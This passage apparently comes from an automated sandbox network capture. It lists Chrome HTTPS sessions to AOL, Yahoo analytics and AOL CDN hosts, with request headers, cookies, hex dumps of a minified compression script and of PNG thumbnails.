l);}for(b.max_code=h,p=bw>>1;p>=1;p--){al(d,p);}do{p=cm[b1],cm[b1]=cm[bw--],al(d,b1),k=cm[b1],cm[--cz]=p,cm[--cz]=k,d[m].fc=d[p].fc+d[k].fc,bm[m]=bm[p]>bm[k]+1?bm[p]:bm[k]+1,d[p].dl=d[k].dl=m,cm[b1]=m++,al(d,b1);}while(bw>=2);cm[--cz]=cm[b1],cb(b),b7(d,h)
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 61 6f 28 28 61 57 3c 3c 31 29 2b 66 2c 33 29 2c 62 4f 28 62 4a 2c 62 43 29 29 3a 28 61 6f 28 28 61 38 3c 3c 31 29 2b 66 2c 33 29 2c 62 47 28 62 41 2e 6d 61 78 5f 63 6f 64 65 2b 31 2c 62 72 2e 6d 61 78 5f 63 6f 64 65 2b 31 2c 64 2b 31 29 2c 62 4f 28 62 4c 2c 62 4b 29 29 3b 7d 63 68 28 29 2c 30 21 3d 66 26 26 61 79 28 29 3b 7d 2c 62 5a 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 69 66 28 62 56 5b 61 52 2b 2b 5d 3d 61 2c 30 3d 3d 62 3f 62 4c 5b 61 5d 2e 66 63 2b 2b 3a 28 62 2d 2d 2c 62 4c 5b 63 69 5b 61 5d 2b 61 6b 2b 31 5d 2e 66 63 2b 2b 2c 62 4b 5b 61 35 28 62 29 5d 2e 66 63 2b 2b 2c 62 49 5b 62 35 2b 2b 5d 3d 62 2c 62 69 7c 3d 61 6e 29 2c 61 6e 3c 3c 3d 31 2c 30 3d 3d 28 37 26 61 52 29 26 26 28 63 6b 5b 61 43 2b 2b 5d 3d 62 69 2c 62 69 3d 30 2c 61 6e 3d Data Ascii: ao((aW<<1)+f,3),bO(bJ,bC)):(ao((a8<<1)+f,3),bG(bA.max_code+1,br.max_code+1,d+1),bO(bL,bK));}ch(),0!=f&&ay();},bZ=function(b,a){if(bV[aR++]=a,0==b?bL[a].fc++:(b--,bL[ci[a]+ak+1].fc++,bK[a5(b)].fc++,bI[b5++]=b,bi\|=an),an<<=1,0==(7&aR)&&(ck[aC++]=bi,bi=0,an=
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 6c 61 74 65 2e 64 65 66 6c 61 74 65 3d 63 66 3b 7d 29 28 73 65 6c 66 29 2c 66 75 6e 63 74 69 6f 6e 28 61 6e 29 7b 76 61 72 20 61 6c 2c 61 41 2c 61 71 2c 61 7a 2c 61 70 2c 61 77 2c 61 45 2c 61 74 2c 61 6b 2c 61 6d 2c 61 43 2c 61 78 2c 61 42 2c 61 65 2c 61 46 2c 61 6a 2c 61 67 3d 33 32 37 36 38 2c 61 69 3d 30 2c 61 72 3d 39 2c 61 79 3d 36 2c 61 68 3d 6e 75 6c 6c 2c 61 44 3d 41 72 72 61 79 28 30 2c 31 2c 33 2c 37 2c 31 35 2c 33 31 2c 36 33 2c 31 32 37 2c 32 35 35 2c 35 31 31 2c 31 30 32 33 2c 32 30 34 37 2c 34 30 39 35 2c 38 31 39 31 2c 31 36 33 38 33 2c 33 32 37 36 37 2c 36 35 35 33 35 29 2c 61 6f 3d 41 72 72 61 79 28 33 2c 34 2c 35 2c 36 2c 37 2c 38 2c 39 2c 31 30 2c 31 31 2c 31 33 2c 31 35 2c 31 37 2c 31 39 2c 32 33 2c 32 37 2c 33 31 2c 33 35 2c 34 33 2c Data Ascii: late.deflate=cf;})(self),function(an){var al,aA,aq,az,ap,aw,aE,at,ak,am,aC,ax,aB,ae,aF,aj,ag=32768,ai=0,ar=9,ay=6,ah=null,aD=Array(0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535),ao=Array(3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,
2024-05-23 22:34:45 UTC	1300	IN	Data Raw: 73 2e 6d 3d 30 2c 74 68 69 73 2e 73 74 61 74 75 73 3d 30 2c 76 6f 69 64 20 30 3b 7d 66 6f 72 28 61 4e 3d 31 3b 74 68 69 73 2e 42 4d 41 58 3e 3d 61 4e 26 26 30 3d 3d 61 47 5b 61 4e 5d 3b 61 4e 2b 2b 29 7b 7d 66 6f 72 28 61 52 3d 61 4e 2c 61 4e 3e 61 49 26 26 28 61 49 3d 61 4e 29 2c 61 53 3d 74 68 69 73 2e 42 4d 41 58 3b 30 21 3d 61 53 26 26 30 3d 3d 61 47 5b 61 53 5d 3b 61 53 2d 2d 29 7b 7d 66 6f 72 28 4e 3d 61 53 2c 61 49 3e 61 53 26 26 28 61 49 3d 61 53 29 2c 61 4b 3d 31 3c 3c 61 4e 3b 61 53 3e 61 4e 3b 61 4e 2b 2b 2c 61 4b 3c 3c 3d 31 29 7b 69 66 28 30 3e 28 61 4b 2d 3d 61 47 5b 61 4e 5d 29 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 74 61 74 75 73 3d 32 2c 74 68 69 73 2e 6d 3d 61 49 2c 76 6f 69 64 20 30 3b 7d 7d 69 66 28 30 3e 28 61 4b 2d 3d 61 47 5b Data Ascii: s.m=0,this.status=0,void 0;}for(aN=1;this.BMAX>=aN&&0==aG[aN];aN++){}for(aR=aN,aN>aI&&(aI=aN),aS=this.BMAX;0!=aS&&0==aG[aS];aS--){}for(N=aS,aI>aS&&(aI=aS),aK=1<<aN;aS>aN;aN++,aK<<=1){if(0>(aK-=aG[aN])){return this.status=2,this.m=aI,void 0;}}if(0>(aK-=aG[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49834	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	704	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2Fbj34PPEboLt0lNpiCqZ05Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fmavericks_wbg.png&client=76f99bdb8f78cd44cc0b&signature=dfd6b0388f649b2725da8a42d8805ed86e4d5259 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53692 Cache-Control: public, max-age=2592000 Cache-Tag: 229410569217829523079279784424792893620,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000071-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:45 GMT Edge-Cache-Tag: 229410569217829523079279784424792893620,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e416ced55ebb3d5700b8ba1db47af2c9" Expiration: expiry-date="Fri, 02 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 03 Feb 2024 04:03:40 GMT Server: ECAcc (lhd/35FA) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2532,owidth=50,oheight=50,obytes=4125,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000040-IAD X-Timer: S1711265994.570689,VS0,VE1 Content-Length: 2532 Connection: close
2024-05-23 22:34:45 UTC	2532	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff 7d 87 8c ff ff ff ff ff ff ff ff ff e1 e3 e4 ff ff ff ff ff ff fb fb fb ff ff ff 90 99 9d 98 9f a3 6c 77 7d 64 70 76 ff ff ff c9 ce d0 d9 dc dd fb fc fc 94 9d a0 8b 94 98 ff ff ff c4 c8 cb ff ff ff 85 8e 93 ff ff ff f1 f2 f3 9d a4 a8 ff ff ff b6 bb be f7 f8 f8 b6 bc be ff ff ff a2 aa ad b7 bd bf d7 da db eb ec ed d0 d3 d5 ff ff ff fc fc fd ff ff ff fd fd fd eb ec ed e4 e6 e7 fa fa fa 61 6d 73 a9 b0 b3 91 9a 9e a6 ad b0 9b a2 a6 c9 cd cf c3 c7 c9 a1 a8 ac aa b1 b4 c3 c7 c9 bd c2 c5 b3 b8 bb ff ff ff ff ff ff fd fe fe fd fe fe ff ff ff b1 b7 ba d4 d7 d9 c7 cb cd e4 e6 e7 fe ff ff ba bf c1 ed ee ef 7f 89 8e fb fc fc 06 Data Ascii: PNGIHDR22)xPLTEGpL}lw}dpvams

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49837	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684006&yhlClientVer=3.56.0&yhlRnd=HUaQBoz8T9hN9cEP&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2501 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	2501	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:45 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:45 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEKoXkmTxZRdnmCvQwE9p0UkFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAtfcC0Z7AmuSDfbPc-Eof2E; Expires=Sat, 24 May 2025 04:34:45 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49836	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684043&yhlClientVer=3.56.0&yhlRnd=qCEIAMspD0FmvGJG&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 2094 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	2094	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:45 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:45 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:34:45 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49839	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	707	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F3E6F0ARiT3ZQ7FArihI9Bw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181226%2F500x500%2Ftimberwolves_wbg.png&client=76f99bdb8f78cd44cc0b&signature=6b39da94a9b7fb47562b1b860faa5f4c1d24210e HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	1138	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 141068 Cache-Control: public, max-age=2592000 Cache-Tag: 224671364923081073303863540009142071981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kjyo7100173-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 4 Content-Type: image/png Date: Thu, 23 May 2024 22:34:45 GMT Edge-Cache-Tag: 224671364923081073303863540009142071981,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "42286ba6d6f057d86973c9e5d55cd1b0" Expiration: expiry-date="Fri, 02 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Sat, 03 Feb 2024 03:55:30 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2443,owidth=50,oheight=50,obytes=3678,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 0 X-Served-By: cache-iad-kiad7000047-IAD X-Timer: S1713770618.558948,VS0,VE2 Content-Length: 2443 Connection: close
2024-05-23 22:34:45 UTC	2443	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 95 9a 9c 9d a1 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 9e a2 a2 93 98 9b 9e a2 a2 81 89 8f 9e a2 a2 9e a2 a2 86 8d 92 9e a2 a2 9e a2 a2 9e a2 a2 9d a1 a2 8f 95 98 9d a1 a1 9d a1 a1 9e a2 a2 8f 95 98 9e a2 a2 9e a2 a2 9e a2 a2 94 99 9b 83 8b 90 9e a2 a2 88 8f 93 9e a2 a2 9e a2 a2 9e a2 a2 9e a1 a1 0c 23 40 9e a2 a2 23 61 92 0d 24 41 0f 26 42 0e 25 41 0f 2b 4b 22 5f 8f 19 2f 49 82 8a 8f 20 35 4e 10 26 43 16 2c 48 1e 52 7f 1a 48 71 5a 67 75 4a 59 6a 35 46 5b 80 88 8e 1a 30 4a 0d 25 43 0e 27 46 25 38 51 75 7e 86 83 8b 90 38 4a 5e 14 3a 5f 1a 4a 73 0d 23 40 18 2d 48 3a 4b 5f 19 2f 4a 10 2d 4d 22 60 90 17 Data Ascii: PNGIHDR22)xPLTEGpL#@#a$A&B%A+K"_/I 5N&C,HRHqZguJYj5F[0J%C'F%8Qu~8J^:_Js#@-H:K_/J-M"`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49841	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:45 UTC	932	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FyA3tBjYEAJYS_q11bBVHjg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fnba%2F20181214%2F500x500%2Fpacers_wbg.png&client=76f99bdb8f78cd44cc0b&signature=e68c4630c61600d47c8b52248989eab478a80807 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:45 UTC	1133	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 53692 Cache-Control: public, max-age=2592000 Cache-Tag: 299233884771220162348710421289867129232,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21926-LGA cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_latency: 135 Content-Type: image/png Date: Thu, 23 May 2024 22:34:45 GMT Edge-Cache-Tag: 299233884771220162348710421289867129232,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "e1659a010543d3c34b4f66a24f826f40" Expiration: expiry-date="Tue, 16 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 17 Jan 2024 18:55:49 GMT Server: ECAcc (lhd/35ED) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1793,owidth=50,oheight=50,obytes=2022,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000169-IAD X-Timer: S1711265994.582975,VS0,VE1 Content-Length: 1793 Connection: close
2024-05-23 22:34:45 UTC	1793	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c be c0 c1 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bf bf c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bf bf c3 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 bc be c1 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be c0 c2 be bf c2 be c0 c2 be c0 c2 be c0 c2 be Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49842	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	767	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=1197803361&yhlCT=2&yhlBTMS=1716503684777&yhlClientVer=3.56.0&yhlRnd=lYcPQKtoUrL9ncGi&yhlCompressed=0 HTTP/1.1 Host: 3p-udc.yahoo.com Connection: keep-alive Content-Length: 4092 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:46 UTC	4092	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 48 62 45 54 32 59 43 45 4d 7a 34 30 33 57 51 4b 63 59 4e 69 49 77 76 72 41 75 70 31 69 4d 46 45 67 45 42 41 51 45 56 55 57 5a 5a 5a 74 77 72 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 5a 45 52 58 34 66 77 2d 54 44 66 5a 76 46 35 56 66 55 77 46 67 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 36 2e 30 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 41 4e 41 4c 59 54 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.56.0%22%2C%22A_cn%22%3A%22ANALYT
2024-05-23 22:34:46 UTC	817	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://www.aol.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Thu, 23 May 2024 22:34:45 GMT server: ATS Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIbET2YCECAYNuT7lw_xxKVuAbB7bkIFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAAvyvb1s_i4b9ZPdTRI6f6_g; Expires=Sat, 24 May 2025 04:34:46 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49847	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:46 UTC	821	OUT	GET /nex/modules/weather/v1?isXHR=true&m_mode=json HTTP/1.1 Host: www.aol.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22
